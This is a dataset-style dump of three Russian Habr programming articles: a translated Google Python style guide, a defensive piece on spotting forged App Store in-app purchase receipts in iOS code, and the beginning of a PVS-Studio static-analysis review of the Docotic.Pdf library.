text stringlengths 20 1.01M | url stringlengths 14 1.25k | dump stringlengths 9 15 ⌀ | lang stringclasses 4
values | source stringclasses 4
values |
|---|---|---|---|---|
# Советы Google по кодированию на языке Python. Часть вторая: советы по форматированию исходного кода
Доброго времени суток. Вот и пришло время для публикации второй части так понравившегося многим хабровчанам перевода стайл гайда для языка Python от компании Google, ([первая часть](http://habrahabr.ru/post/179271/) бережно хранится хабром). Теперь мы коснемся напрямую форматирования исходного кода на языке программирования Python. Как известно, чистота — залог здоровья, а чистота программного кода — залог уважения коллег и (в идеале) поощрения от кого-нибудь свыше. Вообще, Python сам по себе является хорошо читаемым языком, и даже синтаксис данного языка призывает к порядку в коде (и, как следствие — в голове). Но каждый из нас сам себе документатор и сам себе творец оформления. А как уже говорилось однажды — ко мнению авторитетных товарищей нельзя не прислушиваться. Итак, вторая часть Google Python Style Guide — Python Style Rules ждет Вас под катом. И [pdf](https://www.dropbox.com/s/vhrh6d2j57ul80j/GooglePythonStyleGuide%28RUS%29.zip) тут как тут.
#### Python Style Rules
##### Точки с запятой
**Не разделяйте ваши строки с помощью точек с запятой**Не разделяйте ваши строки с помощью точек с запятой и не используйте точки с запятой для разделения команд, находящихся на одной строчке.
##### Длина строки
**Максимальная длина строки - 80 символов**###### Исключения
* Длинные строки импорта
* URL в комментариях
Не используйте обратный слэш в качестве перехода на новую строку. Используйте доступное в Python явное объединение строк посредством круглых и фигурных скобок. Если необходимо, вы можете добавить дополнительную пару скобок вокруг выражения.
**Хорошо:**
```
foo_bar(self, width, height, color='black', design=None, x='foo',
emphasis=None, highlight=0)
if (width == 0 and height == 0 and
color == 'red' and emphasis == 'strong'):
```
Когда Ваш текст не помещается в одну строку, используйте скобки для явного объединения строк.
```
x = ('This will build a very long long '
'long long long long long long string')
```
Что касается комментариев, располагайте длинный URL, если это необходимо, на одной строке.
**Хорошо:**
```
# See details at
# http://www.example.com/us/developer/documentation/api/content/v2.0/csv_file_name_extension_full_specification.html
```
**Плохо:**
```
# See details at
# http://www.example.com/us/developer/documentation/api/content/\
# v2.0/csv_file_name_extension_full_specification.html
```
Обратите внимание на отступ элемента в строке выше (смотрите раздел про отступы, чтобы получить разъяснения).
##### Скобки
**Используйте скобки экономно**Не используйте их (скобки) с выражением **return** или с условной конструкцией, если не требуется организовать перенос строки. (Смотрите выше). Однако скобки хорошо использовать для создания кортежей.
**Хорошо:**
```
if foo:
bar()
while x:
x = bar()
if x and y:
bar()
if not x:
bar()
return foo
for (x, y) in dict.items(): ...
```
**Плохо:**
```
if (x):
bar()
if not(x):
bar()
return (foo)
```
##### Отступы
**Никогда не используйте табуляцию или смесь табуляции и пробелов**В случае, когда вы подразумеваете перенос строки, вы должны выровнять каждый перенесенный элемент по вертикали так, как описано в примере о длине строк, либо используя отступ в 4 пробела, в этом случае не должно быть ни одного аргумента на первой строке.
**Хорошо:**
```
# Aligned with opening delimiter
foo = long_function_name(var_one, var_two,
var_three, var_four)
# 4-space hanging indent; nothing on first line
foo = long_function_name(
var_one, var_two, var_three,
var_four)
```
**Плохо:**
```
# Stuff on first line forbidden
foo = long_function_name(var_one, var_two,
var_three, var_four)
# 2-space hanging indent forbidden
foo = long_function_name(
var_one, var_two, var_three,
var_four)
```
##### Пустые строки
**Должно быть две пустые строки между объявлениями верхнего уровня**Должно быть две пустые строки между объявлениями верхнего уровня, одна пустая строка должна быть между объявлениями методов. Две пустые строки должны быть между объявлениями верхнего уровня, будь это класс или функция. Одна пустая строка должна быть между определениями методов и между объявлением класса и его первым методом. Используйте одиночную пустую строку как вам заблагорассудится внутри функций и методов.
##### Пробелы
**Следуйте стандартным типографским правилам, касающимся использования пробела в пунктуации**Никаких пробелов внутри каких-либо скобок.
Хорошо: **spam(ham[1], {eggs: 2}, [])**
Плохо: **spam( ham[ 1 ], { eggs: 2 }, [ ] )**
Никаких пробелов перед запятой, точкой с запятой, либо точкой. Используйте пробел после запятой, точки с запятой или точкой, исключая тот случай, когда они находятся в конце строки.
**Хорошо:**
```
if x == 4:
print x, y
x, y = y, x
```
**Плохо:**
```
if x == 4 :
print x , y
x , y = y , x
```
Никаких пробелов перед открывающей скобкой, которая начинает список аргументов, индекс или срез.
Хорошо: **spam(1)**
*Плохо:* **spam (1)**
*Хорошо:* **dict['key'] = list[index]**
*Плохо:* **dict ['key'] = list [index]**
Окружайте бинарные операторы одиночными пробелами с каждой стороны, это касается присваивания (**=**), операторов сравнения (**==, <, >, !=, <>, <=, >=, in, not in, is, is not**), и булевых операторов (and, or, not). Используйте как вам покажется правильно окружение
пробелами по отношению к арифметическим операторам, но всегда расстановка пробелов по обоим сторонам бинарного оператора будет придавать целостность Вашему коду.
*Хорошо:* **x == 1**
*Плохо:* **x<1**
Не используйте пробелы по сторонам знака "=", когда вы используете его чтобы указать на именованный аргумент или значение по-умолчанию.
**Хорошо:**
```
def complex(real, imag=0.0): return magic(r=real, i=imag)
```
**Плохо:**
```
def complex(real, imag = 0.0): return magic(r = real, i = imag)
```
Не используйте пробелы для вертикального выравнивания кусков последовательных строк, так как такие выравнивания оказываются обременительными. (Относится и к **:,#,=,** и т.д.):
**Хорошо:**
```
foo = 1000 # comment
long_name = 2 # comment that should not be aligned
dictionary = {
'foo': 1,
'long_name': 2,
}
```
**Плохо:**
```
foo = 1000 # comment
long_name = 2 # comment that should not be aligned
dictionary = {
'foo' : 1,
'long_name': 2,
}
```
##### Строка #! (хэш-бэнг)
**Большинство файлов .py не нуждаются в запуске через строку #!**Запускайте главный файл программы с помощью **#!/usr/bin/python**. Эта строка используется ядром, чтобы найти интерпретатор Python, но игнорируется Python-ом, когда импортируются модули. Это необходимо для файла, который выполняется напрямую.
##### Комментарии
**Будьте уверены в использовании правильного стиля**Будьте уверены в использовании правильного стиля для модуля, функции, метода или строкового комментария.
###### Строки документации.
Python имеет уникальный стиль комментирования — строки документации. Строка документации это строка, которая является первой конструкцией в пакете, модуле, классе или функции. Такие строки могут быть экспортированы автоматически с помощью атрибута объекта **\_\_doc\_\_** и используются pydoc-ом. (Попробуйте запустить pydoc на своем модуле, чтобы увидеть как это выглядит.) Наше соглашение по строкам документации велит использовать три двойные кавычки для обрамления такой строки. Строки документации должны быть организованы как суммарная строка (одна физическая строка), сносящаяся по кол-ву символов, знаку вопроса или восклицательному знаку, следующим за пустой строкой, а затем остальные строки документации с позиции курсора в качестве первой кавычки первой строки. Ниже описано еще больше информации по оформлению строк документирования.
###### Модули
Каждый файл должен содержать в себе шаблон лицензии. Выберите подходящий шаблон лицензии для вашего проекта.(Например, Apache 2.0, BSD, LGPL, GPL).
###### Функции и методы
Используемый в этом разделе термин (функция) относится к методам, функциям и генераторам.
Функция должна иметь строку документации во всех случаях, кроме описанных ниже:
* Не видима снаружи модуля
* Очень короткая
* Очевидная (легко читаемая)
Строка документирования должна давать достаточно информации, чтобы оформить вызов функции без чтения ее исходного кода. Строка документирования должна описывать синтаксис вызова функции и ее семантику, но не должна описывать ее реализацию. Для хитрого кода комментарии внутри исходного кода более предпочтительны, чем строки документации. Определенные аспекты функции должны быть задокументированы в специальных секциях, перечисленных ниже. Каждая секция начинается со строки заголовка, которая заканчивается точкой. Секции должны иметь отступ в два пробела, за исключением заголовочной.
**Args**:
Перечислите каждый параметр по имени. Описание должно следовать сразу за именем и быть разделено точкой и пробелом. Если описание слишком длинное, чтобы уместить его в в 80 символов, используйте подвешенный отступ в 2 или 4 пробела (будьте последовательны в оформлении всего файла).
Описание должно ссылаться на требуемый тип(ы) и назначение аргумента. Если функция позволяет \*foo (списки аргументов переменной длины) и/или \*\*bar (произвольный набор аргументов типа ключ-значение), они должны быть записаны как \*foo и \*\*bar.
**Returns**: (либо **Yields** для генераторов)
Опишите тип и семантику возвращаемого значения. Если функция всегда возвращает None, то данный раздел необязателен.
**Raises**:
Список всех исключений, которые возможны для данного интерфейса.
```
def fetch_bigtable_rows(big_table, keys, other_silly_variable=None):
"""Fetches rows from a Bigtable.
Retrieves rows pertaining to the given keys from the Table instance
represented by big_table. Silly things may happen if
other_silly_variable is not None.
Args:
big_table: An open Bigtable Table instance.
keys: A sequence of strings representing the key of each table row
to fetch.
other_silly_variable: Another optional variable, that has a much
longer name than the other args, and which does nothing.
Returns:
A dict mapping keys to the corresponding table row data
fetched. Each row is represented as a tuple of strings. For
example:
{'Serak': ('Rigel VII', 'Preparer'),
'Zim': ('Irk', 'Invader'),
'Lrrr': ('Omicron Persei 8', 'Emperor')}
If a key from the keys argument is missing from the dictionary,
then that row was not found in the table.
Raises:
IOError: An error occurred accessing the bigtable.Table object.
"""
pass
```
###### Классы
Классы должны иметь строку документации ниже своего объявления. Если Ваш класс имеет публичные атрибуты, они должны быть документированы тут же в разделе Attributes и следовать тому же стилю форматирования, что и раздел Args.
```
class SampleClass(object):
"""Summary of class here.
Longer class information....
Longer class information....
Attributes:
likes_spam: A boolean indicating if we like SPAM or not.
eggs: An integer count of the eggs we have laid.
"""
def __init__(self, likes_spam=False):
"""Inits SampleClass with blah."""
self.likes_spam = likes_spam
self.eggs = 0
def public_method(self):
"""Performs operation blah."""
```
###### Блоки и инлайновые комментарии
Последнее место, которое должны иметь комментарии — это хитрые места в коде. Если Вы хотите пояснить их в Вашем следующем код-ревью, то вы должны прокомментировать их сейчас. Сложные операции, занимающие несколько строк документации перед ее выполнением. Неявные части должны иметь комментарий в конце строки.
```
# We use a weighted dictionary search to find out where i is in
# the array. We extrapolate position based on the largest num
# in the array and the array size and then do binary search to
# get the exact number.
if i & (i-1) == 0: # true iff i is a power of 2
```
Чтобы улучшить читаемость, такие комменарии должны находиться на расстоянии по меньшей мере 2-х пробелов от кода. С другой стороны, лучше вообще не описывайте код. Преположите, что человек, читающий данный код, знает Python (а не то, что вы пытались делать) лучше, чем Вы.
```
# BAD COMMENT: Now go through the b array and make sure whenever i occurs
# the next element is i+1
```
##### Классы
**Если класс не наследуется от каких либо классов, явно наследуйтесь от класса object**Это также касается вложенных классов.
**Хорошо:**
```
class SampleClass(object):
pass
class OuterClass(object):
class InnerClass(object):
pass
class ChildClass(ParentClass):
"""Explicitly inherits from another class already."""
```
**Плохо:**
```
class SampleClass:
pass
class OuterClass:
class InnerClass:
pass
```
Наследование от класса object необходимо, чтобы позволить свойствам работать правильно, и защитит Ваш код от возможной несовместимости с Python 3000. В нем так же определяются специальные методы, которые реализуют стандартную семантику объекта, например: **\_\_new\_\_, \_\_init\_\_, \_\_delattr\_\_, \_\_getattribute\_\_, \_\_setattr\_\_, \_\_hash\_\_, \_\_repr\_\_, и \_\_str\_\_**.
##### Строки
**Используйте оператор % для форматирования строк**Используйте оператор % для форматирования строк, даже если все параметры являются строками. Тщательно взвесте использование оператора + взамен оператора %.
**Хорошо:**
```
x = a + b
x = '%s, %s!' % (imperative, expletive)
x = 'name: %s; score: %d' % (name, n)
```
**Плохо:**
```
x = '%s%s' % (a, b) # use + in this case
x = imperative + ', ' + expletive + '!'
x = 'name: ' + name + '; score: ' + str(n)
```
Избегайте использования операторов + и +=, чтобы сконкатенировать строку при помощи цикла, т.к. строки — это неизменяемый тип данных, такой подход создает ненужные объекты и увеличивает время работы по квадратичному, а не линейному закону. Вместо этого просто добавьте каждую подстроку в список и используйте метод join после того, как цикл завершится ( или записывайте каждую подстроку в буфер cStringIO.StringIO)
**Хорошо:**
```
items = ['
']
for last\_name, first\_name in employee\_list:
items.append('| %s, %s |
' % (last\_name, first\_name))
items.append('
')
employee_table = ''.join(items)
```
**Плохо:**
```
employee_table = '
'
for last\_name, first\_name in employee\_list:
employee\_table += '| %s, %s |
' % (last\_name, first\_name)
employee\_table += '
'
```
Используйте “”” для многострочных строк вместо “”. Заметьте, однако, что всегда лучше использовать явное объединение строк, т.к. многострочные строки не продолжаются до конца программы с таким же отступом.
**Хорошо:**
```
print ("This is much nicer.\n"
"Do it this way.\n")
```
**Плохо:**
```
print """This is pretty ugly.
Don't do this.
"""
```
##### Файлы и сокеты
**Явно закрывайте файлы и сокеты, когда Вы заканчиваете работу с ними**Пренебрежение открытыми файлами, сокетами и другими файлообразными объектами имеет много побочных эффектов, таких как:
* Они могут потреблять ограниченные системные ресурсы, такие как файловые дескрипторы. Код, который связан со множеством объектов, может приводить к истощению тех ресурсов без пользы, если они не будут возвращены системе после использования.
* Содержание файлов в открытом виде может препятствовать другим действиям быть произведенными над ними, таким как, например, перемещение или удаление.
* Файлы и сокеты, которые общедоступны через код, могут быть ненароком прочитаны или записаны после того, как они были логически «закрыты».
Если они реально закрыты, попытка чтения или записи вызовет исключение, тем самым выявляя проблему очень быстро. Более того, файлы и сокеты автоматически закрываются, когда вызывается декструктор объекта, но связывать время жизни объекта с состоянием файла — это плохая практика по следующим причинам:
* Нет гарантий, что во время выполнения программы будет вызван декструкор объекта. Разные реализации Python используют разные подходы к управлению памятью, такие как отложенная сборка мусора, которая может существенно продлить жизнь «удаленного» объекта.
* Неожиданные ссылки на файл могут заставить его «жить» дольше, чем мы этого ожидаем (например, стек исключений, глобальные объекты и т.д.)
* Приоритетный способ управлять файлами — это использование конструкции with.
```
with open("hello.txt") as hello_file:
for line in hello_file:
print line
```
Подобные циклу **for** объекты, которые не поддерживают конструкцию with и используют contextlib.closing()
```
import contextlib
with contextlib.closing(urllib.urlopen("http://www.python.org/")) as front_page:
for line in front_page:
print line
```
Старый код, написанный под Python 2.5, может подключить возможность использования конструкции **with** при помощи импорта "**from \_\_future\_\_ import with\_statement**".
##### Комментарий TODO
**Используйте комментарий TODO для временного кода, краткосрочной заплатки, либо хорошего, но не идеального решения**Комментарии-TODO должны включать в себя строку **TODO** в начале каждого комментария, следующую за имменем, электронным адресом или другим идентификатором того, что лучше сможет обеспечить решение проблемы, указанной в скобках. Точка необязательна. Комментарий, объясняющий что там должно происходить, не требуется. Главная цель — это общий формат для TODO, который позволит быстро найти определенного челвоека, который сможет обеспечить более детальное описание проблемы. TODO не является залогом того, что человек решит данную проблему. Таким образом, когда Вы создаете TODO, он почти всегда содержит только Ваше имя.
```
# TODO(kl@gmail.com): Use a "*" here for string repetition.
# TODO(Zeke) Change this to use relations.
If your TODO is of the form "At a future date do something" make sure that you either include a very specific date ("Fix by November 2009") or a very specific event
("Remove this code when all clients can handle XML responses.").
```
##### Оформление импортов
**Каждый импорт должен быть на отдельной строке****Хорошо:**
```
import os
import sys
```
**Плохо:**
```
import os, sys
```
Импорты всегда располагаются в начале файла, сразу после комментариев уровня модуля, строк документации, перед объявлением констант и
объектов уровня модуля. Импорты должны быть сгруппированы в порядке от самых простых до самых сложных:
* Импорты из стандартной библиотеки
* Сторонние импорты
* Импорты из библиотек Вашего приложения
Наряду с группированием импорты должны быть отсортированы лексикографически, нерегистрозависимо, согласно полному пути до каждого модуля.
```
import foo
from foo import bar
from foo.bar import baz
from foo.bar import Quux
from Foob import ar
```
##### Конструкции
**В основном только одна конструкция в одной строке**Однако вы можете расположить результат текста на той же строке, на которой у Вас рапологается условие. Но это можно сделать только в том случае, когда все выражение помещается на одной строке. В частности, Вы никогда не сможете это сделать с конструкцией try/except, т.к. try и except не могут находиться в одной строке, и Вам доступно помещение в одну строку только с конструкцией if БЕЗ else.
**Хорошо:**
```
if foo: bar(foo)
```
**Плохо:**
```
if foo: bar(foo)
else: baz(foo)
try: bar(foo)
except ValueError: baz(foo)
try:
bar(foo)
except ValueError: baz(foo)
```
##### Контроль доступа
**Скрытый текст**Если функция-геттер была бы простой, Вы должны были бы использовать общедоступные переменные для функций-геттеров, чтобы избежать
дополнительных расходов ресурсов на внутренние вызовы Python. Когда добавлено много функциональности, вы можете использовать свойства,
дабы следовать целостности интерфейса. С одной стороны, если функция-геттер более сложная, или скорость доступа к переменной очень важна, Вы должны использовать вызовы фукнций(см. следующий раздел гайдлайна), такие как get\_foo() и set\_foo(). Если поведение позволяет доступ через свойство, то не привязывайте к нему новый геттер. Любой код, который все еще пытается получить доступ к переменной при помощи старого метода, должен явно падать, дабы Вы смогли получить предупреждение о том, что сложность доступа изменилась.
##### Именование
**module\_name, package\_name**module\_name, package\_name, ClassName, method\_name, ExceptionName, function\_name, GLOBAL\_CONSTANT\_NAME, global\_var\_name, instance\_var\_name, function\_parameter\_name, local\_var\_name.
Имена, которых следует избегать:
* Односимвольные имена, исключая счетчики, либо итераторы
* Минусы в именах модулей и пакетов.
* Двойные подчеркивания (в начале и конце имен) — зарезервированы для языка.
Конвенция именования
* «Внутренний» — означает внутренний для модуля, защищенный или приватный класс.
* Подстановка ведущего подчеркивания (\_) поддерживается для защищенных переменных модуля и функций (которые не импортируются при import \* from)
* Подстановка двойного ведущего подчеркивания (\_\_) к имени переменной или метода эффективно делает их приватными для данного класса (использует добавление к имени). Помещение связанных классов и уровней верхнего уровня вместе в модуле. В отличие от Java, не нужно ограничивать себя в создании одного класса в одном модуле.
* Используйте верблюжью нотацию для именования классов, а нотацию с прописными буквами и подчеркиваниями для имен модулей. Хотя существует много модулей использующих для именования верблюжью нотацию, но так не рекомендуется делать, ведь это может вводить в заблуждение, т.к. модуль называется в честь класса. (погодите, не писал ли я import StringIO или from StringIO import StringIO?)
**Стили основаны на рекоммендациях Гвидо:**
| | | |
| --- | --- | --- |
| **Тип** | **Внешний** | **Внутренний** |
| Пакеты | lower\_with\_under | |
| Модули | lower\_with\_under | \_lower\_with\_under |
| Классы | CapWords | \_CapWords |
| Исключения | CapWords | |
| Функции | lower\_with\_under() | \_lower\_with\_under() |
| Глобальные/Внутриклассовые константы | CAPS\_WITH\_UNDER | \_CAPS\_WITH\_UNDER |
| Глобальные/Внутриклассовые переменные | lower\_with\_under | \_lower\_with\_under |
| Переменные экземпляра класса | lower\_with\_under | \_lower\_with\_under (protected) or \_\_lower\_with\_under (private) |
| Имена методов | lower\_with\_under() | \_lower\_with\_under() (protected) or \_\_lower\_with\_under() (private) |
| Аргументы функций/методов | lower\_with\_under | |
| Локальные переменные | lower\_with\_under | |
##### Main
**Даже когда файл создавался для того, чтобы быть импортированным..**Даже когда файл создавался для того, чтобы быть импортированным, обычный импорт не должен иметь побочных эффектов в виде исполнения функциональной части скрипта. Основная функциональность должна быть заложена в функции main().
В Python, pychecker, pydoc и юнит тестах требуются импортируемые модули. Ваш код должен всегда проверять if \_\_name\_\_ == '\_\_main\_\_' перед исполнением, что означает, что Ваш модуль не будет полностью исполнен при импортировании его в другую программу.
```
def main():
...
if __name__ == '__main__':
main()
```
Весь код верхнего уровня будет исполнен, когда модуль будет импортирован. Будьте осторожны и не вызывайте функции, не создавайте объекта и не проводите другого вида операции, которые не должны будут выполняться, когда файл подвергнется проверке с помощью pychecker или будет собираться документация при помощи pydoc.
##### Заключительные слова
**Скрытый текст**Если вы редактируете чей-то код, выберите несколько минут, чтобы оглядеть этот код и выбрать для себя стилистику написания. Если каждый оператор обрамлен пробелами, вы должны тоже так делать. Если комментарии оформлены в небольшие островки, либо маркируются знаком решетки (#) вокруг, оформляйте свои комментарии точно в таком же стиле. Смысл этого руководства в том, чтобы иметь общий словарь кодирования, чтобы другие люди могли сосредоточиться на том что вы делаете, а не на том КАК вы это делаете.
Мы представляем общий стиль оформления кода, чтобы люди знали словарь терминов программирования, но локальный стиль также важен. Если Вы добавляете в файл код, который разительно отличается от уже существующего в нем — это выбивает читающего из ритма, когда он читает данный файл. **Сторонитесь этого.**
***Версия:** 2.48
[Amit Patel](http://www.businessinsider.com/googles-first-20-employees-where-are-they-now-2012-7?op=1)
[Antoine Picard](https://plus.google.com/117981587031259733981/about)
[Eugene Jhong](http://www.zoominfo.com/p/Eugene-Jhong/113513089)
[Jeremy Hylton](https://plus.google.com/117162507282113102399/about)
[Matt Smart](https://plus.google.com/106166516302462658901/about)
[Mike Shields](http://www.linkedin.com/in/shields)*
#### От переводчика
##### ЧАВО
* PDF-версия перевода в скором времени будет выложена ссылкой в обоих статьях, так что не промахнетесь:)
* Нет, я не перевожу комментарии. Я считаю (лично мое мнение), что комментарии в коде должны быть на английском.
##### Благодарности
Огромное спасибо [squaii](https://habrahabr.ru/users/squaii/) за ревью и поиск ошибок.
##### Заключение
Пожалуйста, заклинаю я Вас — пишите порядочный код, господа! Заботьтесь о тех, кто будет поддерживать Ваши труды. Пожалейте их глаза, сэкономьте их силы, подарите им радость жизни, свободной от постоянно больной головы и кругов под глазами. Как известно Вы написавший только что код и Вы через месяц вернувшийся к его поддержке — уже составляете командную разработку, так что не ленитесь писать прозрачно даже тогда, когда Вы один предполагаете поддерживать написанный код. Искореняйте зло, насилие и содомию в среде IT-специалистов (и не только). Всем добра!
**P.S.: И помните:** | https://habr.com/ru/post/180509/ | null | ru | null |
# Как НАДЕЖНО защитить in-App Purchase от ломалок
Совсем недавно я писал статью [Как защитить in-App Purchase от ломалок](http://habrahabr.ru/post/143738/) . Прошло немного времени, а хакеры на месте не сидят. Тот метод защиты оказывается можно обойти, не очень сложно. Под катом метод, который намного надежнее.
Перед чтением этого топика, рекомендую прочитать предыдущий [Как защитить in-App Purchase от ломалок](http://habrahabr.ru/post/143738/) , так как это продолжение темы.
В моем приложении после проверки receipt отправляется на мой сервер, и я там его анализирую, и сохраняю в логах. И я заметил, что JSON, который приходит есть стандартный, и какой-то модифицированный.
Стандартный выглядит так:
```
{
"receipt": {
"original_purchase_date_pst": "2012-06-08 04:13:04 America/Los_Angeles",
"purchase_date_ms": "1339153984956",
"original_transaction_id": "430000009214053",
"original_purchase_date_ms": "1339153984956",
"app_item_id": "12312312323",
"transaction_id": "430000009214053",
"quantity": "1",
"bvrs": "1.0",
"version_external_identifier": "7809437",
"bid": "xx.yyyyyy.zzzzzzz",
"product_id": "xx.yyyyyy.zzzzzz.uuuuuu",
"purchase_date": "2012-06-08 11:13:04 Etc/GMT",
"purchase_date_pst": "2012-06-08 04:13:04 America/Los_Angeles",
"original_purchase_date": "2012-06-08 11:13:04 Etc/GMT",
"item_id": "123123123"
},
"status": 0
}
```
В результате я заметил 3 типа попыток взлома:
1. Самый частый вариант. Ломалка не подделывает ответ сервера Apple, в результате receipt выглядит так:
```
{
"status": 21002,
"exception": "java.lang.ClassCastException"
}
```
Наш предыдущий метод с таким взломом справлялся, так как статус = 21002
2. Совсем недавно появились новые способы взлома. Я не знаю с помощью каких утилит это делается, но они подделывают ответ серверов Apple и на второй запрос.
JSON выглядит тогда так:
```
{
"status":0
}
```
Такой взлом отслеживается просто. Можно проверить наличие некоторых переменных, например «product\_id», и всё станет на свои места.
3. Но не все так просто. Недавно появился еще один вариант подделаного JSON:
```
{
"status": 0,
"receipt": {
"product_id": "xx.yyyyyy.zzzzzzzz.uuuuuuu",
"purchase_date": 1339152660.383128,
"quantity": 1,
"transaction_id": "xx.yyyyyy.zzzzzzzz.uuuuuuu"
}
}
```
Если опять что-то проверять, тогда надо найти то, чего не сможет получить программа-ломалка из запроса. Просмотрев все данные я понял, что есть достаточно простой способ, который обойти будет очень непросто.
Надо сделать проверку на «item\_id» — это id, которое Apple присваевает каждому продукту, в том числе и in-App purchase. Его можно посмотреть в iTunesConnect, нажав на кнопку «Manage In-App Purchases».
Тогда наш код будет выглядеть так:
```
kFeature1 = "xx.yyyyyy.zzzzzzzz.uuuuuuu";
kFeatureItemID1 = "123123123";
kFeature2 = "xx.yyyyyy.zzzzzzzz.uuuuuuu";
kFeatureItemID2 = "123123123";
kFeature3 = "xx.yyyyyy.zzzzzzzz.uuuuuuu";
kFeatureItemID3 = "123123123";
- (BOOL)verifyReceipt:(NSData*)receiptData {
NSString *urlsting = @"https://buy.itunes.apple.com/verifyReceipt";
NSURL *url = [NSURL URLWithString:urlsting];
NSMutableURLRequest *theRequest = [NSMutableURLRequest requestWithURL:url];
NSString *st = [receiptData base64EncodedString];
NSString *json = [NSString stringWithFormat:@"{\"receipt-data\":\"%@\"}", st];
[theRequest setHTTPBody:[json dataUsingEncoding:NSUTF8StringEncoding]];
[theRequest setHTTPMethod:@"POST"];
[theRequest setValue:@"application/x-www-form-urlencoded" forHTTPHeaderField:@"Content-Type"];
NSString *length = [NSString stringWithFormat:@"%d", [json length]];
[theRequest setValue:length forHTTPHeaderField:@"Content-Length"];
NSHTTPURLResponse* urlResponse = nil;
NSError *error = [[NSError alloc] init];
NSData *responseData = [NSURLConnection sendSynchronousRequest:theRequest
returningResponse:&urlResponse
error:&error];
NSString *responseString = [[NSString alloc] initWithData:responseData encoding:NSUTF8StringEncoding];
NSDictionary *dic = [responseString JSONValue];
NSInteger status = [[dic objectForKey:@"status"] intValue];
NSDictionary *receiptDic = [dic objectForKey:@"receipt"];
BOOL retVal = NO;
if (status == 0 && receiptDic) {
NSString *itemId = [receiptDic objectForKey:@"item_id"];
NSString *productId = [receiptDic objectForKey:@"product_id"];
if (productId && ([productId isEqualToString:kFeature1] ||
[productId isEqualToString:kFeature2] ||
[productId isEqualToString:kFeature3] )) {
if (itemId && ( [itemId isEqualToString:kFeatureItemID1] ||
[itemId isEqualToString:kFeatureItemID2] ||
[itemId isEqualToString:kFeatureItemID3] )) {
retVal = YES;
}
}
}
return retVal;
}
```
В чем плюс этого кода: ломалка не знает значения item\_id, оно нигде не передается при запросе. Именно поэтому подделать такой receipt будет непросто. Хотя, наверное, возможно.
И просьба, не говорите, что все можно сломать. Цель этой защиты — чтобы не было массовых взломов стандартными средствами. | https://habr.com/ru/post/145524/ | null | ru | null |
# Docotic.Pdf: Какие проблемы PVS-Studio обнаружит в зрелом проекте?
Качество для нас важно. И о PVS-Studio мы наслышаны. Все это привело к желанию проверить Docotic.Pdf и узнать, что еще можно улучшить.
[Docotic.Pdf](https://bitmiracle.com/pdf-library/) — библиотека общего назначения для работы с PDF файлами. Написана на C#, нет unsafe кода, нет внешних зависимостей кроме .NET runtime. Работает как под .NET 4+, так и под .NET Standard 2+.
Библиотека в разработке чуть больше 10 лет и в ней 110 тысяч строк кода без учета тестов, примеров и прочего. Для статического анализа мы постоянно используем Code Analysis и StyleCop. Несколько тысяч автоматических тестов охраняют нас от регрессий. Наши клиенты из разных стран и разных индустрий доверяют качеству библиотеки.
Какие проблемы обнаружит PVS-Studio?
### Установка и первое впечатление
Скачал пробную версию с сайта PVS-Studio. Приятно удивил небольшой размер установщика. Установил с настройками по умолчанию: analysis engines, отдельная среда PVS-Studio, интеграция в Visual Studio 2017.
После установки ничего не запустилось, а в меню Пуск добавились два ярлыка с одинаковыми иконками: Standalone и PVS-Studio. На мгновение задумался, что же нужно запустить. Запустил Standalone и был неприятно удивлен интерфейсом. Масштаб 200%, выставленный для моей Windows, поддерживается криво. Часть текста слишком мелкая, часть текста не помещается в отведенное для него место. Название, Единорог и список Actions обрезаны при любом размере окна. Даже при полноэкранном.
Ну да ладно, решил открыть файл своего проекта. Внезапно, в меню Файл не нашел такой возможности. Там мне предложили только открывать отдельные файлы. Спасибо, подумал я, попробую-ка я лучше другой вариант. Запустил PVS-Studio — мне показали окно с размытым текстом. Масштаб 200% опять дал о себе знать. Текст сообщал: ~~ищите меня в «Трех Коронах»~~ ищите меню PVS-Studio в Visual Studio. Хорошо, открыл Студию.
Открыл solution. Действительно, есть меню PVS-Studio, а в нем есть возможность проверить «Current Project». Сделал нужный мне проект текущим и запустил проверку. Снизу в Студии всплыло окно с результатами анализа. В фоне появилось еще и окно с прогрессом проверки, но я его не сразу обнаружил. Сначала возникло ощущение, что проверка не началась или сразу кончилась.
### Результат первой проверки
Анализатор проверил все 1253 файла проекта за примерно 9 минут и 30 секунд. К концу проверки счетчик файлов менялся не так быстро, как в начале. Возможно, есть некоторая нелинейная зависимость длительности проверки от числа проверяемых файлов.
В окне результатов появилась информация о 81 High, 109 Medium и 175 Low предупреждениях. Если посчитать частоту, то получается 0.06 High предупреждений / файл, 0.09 Medium предупреждений / файл, и 0.14 Low предупреждений / на файл. Или
0.74 High предупреждения на тысячу строк кода, 0.99 Medium предупреждений на тысячу строк кода, и 1.59 Low предупреждений на тысячу строк кода.
Вот [в этой статье указано](https://habr.com/company/pvs-studio/blog/328354/), что в CruiseControl.NET при его 256 тысячах строк кода анализатор нашел 15 High, 151 Medium и 32 Low предупреждений.
Получается, что в процентном соотношении для Docotic.Pdf было выдано больше предупреждений в каждой из групп.
### Что же найдено?
Предупреждения Low я решил оставить без внимания на данном этапе.
Отсортировал предупреждения по колонке Code и получилось, что абсолютным рекордсменом по частоте стали [V3022](https://www.viva64.com/ru/w/v3022/) «Expression is always true/false» и [V3063](https://www.viva64.com/ru/w/v3063/) «A part of conditional expression is always true/false if it is evaluated». На мой взгляд они примерно об одном. В сумме эти два предупреждения дают 92 случая из 190. Относительная частота = 48%.
Логика деления на High и Medium не совсем ясна. Я ожидал [V3072](https://www.viva64.com/ru/w/v3072/) «The 'A' class containing IDisposable members does not itself implement IDisposable» и [V3073](https://www.viva64.com/ru/w/v3073/) «Not all IDisposable members are properly disposed. Call 'Dispose' when disposing 'A' class» в группе High, например. Но это вкусовщина, конечно.
Удивило, что [V3095](https://www.viva64.com/ru/w/v3095/) «The object was used before it was verified against null. Check lines: N1, N2» помечена два раза как High и один раз как Medium. Баг?
### Доверяй, но проверяй
Настало время проверить, насколько обоснованы полученные предупреждения. Найдены ли какие-нибудь реальные ошибки? Есть ли некорректные предупреждения?
Я разделил найденные предупреждения на группы, приведенные ниже.
#### Важные предупреждения
Их исправление повысило стабильность работы, решило проблемы с утечками памяти и т.п. Реальные ошибки/несовершенства.
Таких было выдано 16 штук, что составляет около 8% от всех предупреждений.
Приведу некоторые примеры.
[V3019](https://www.viva64.com/ru/w/v3019/) «Possibly an incorrect variable is compared to null after type conversion using 'as' keyword. Check variables 'color', 'indexed'»
```
public override bool IsCompatible(ColorImpl color)
{
IndexedColorImpl indexed = color as IndexedColorImpl;
if (color == null)
return false;
return indexed.ColorSpace.Equals(this);
}
```
